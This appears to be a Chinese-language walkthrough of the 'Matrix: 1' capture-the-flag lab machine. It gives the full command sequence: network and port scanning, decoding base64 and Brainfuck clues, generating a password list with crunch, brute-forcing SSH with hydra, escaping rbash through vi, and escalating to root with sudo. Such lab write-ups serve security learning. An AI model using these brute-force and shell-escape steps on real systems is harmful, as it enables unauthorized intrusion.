Matrix：1靶机

信息收集

靶机扫描

netdiscover -i eth0 -r 192.168.7.0/24

端口扫描，开放端口22、80、31337

nmap -A 192.168.7.203 -p-

目录扫描

dirsearch -u http://192.168.7.203

网址访问

进行源码查看，没有发现什么有用的信息

拼接目录扫描出的目录/assets

根据端口扫描结果还有一个http服务端口，网址访问31337端口

进行源码查看，有base64的编码

在线解码

翻译一下，是echo一段短句进入了Cypher.matrix文件

尝试访问Cypher.matrix网页，发现存在一个.bak文件，我们直接下载，用记事本打开后发现为BF编码

利用在线网站（Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]）解码得到文本内容：

大体意思是：可以使用guest用户登录matrix，但是密码k1ll0rXX忘记了最后两位

到此可知账户：guest

获取shell

使用kali自带crunch字典生成工具生成密码字典，密码一共8位，因为已知道6位了

cat /usr/share/crunch/charset.lst   选择要使用的crunch字典字符集范围

生成8位字符字典

#-f 指定字符集，-t 插入小写字符
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric-sv -t k1ll0r@@ > pass.dic

再来使用hydra九头蛇工具爆破ssh账号密码：

hydra -l guest -P pass.dic ssh://192.168.7.203 -f -o ssh.txt

得到ssh账号密码： guest     k1ll0r7n

进行ssh连接

ssh guest@192.168.7.203

尝试了很多命令,好多命令都不能使用，因为没有增加环境变量

开始rbash逃逸

开始增加环境变量：

vi test

:!/bin/bash
#然后就进入了bash界面

# 切换完成之后还要添加环境变量
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

到这里就已经完成了rbash逃逸，

提权

直接sudo su 提权到root

查看flag文件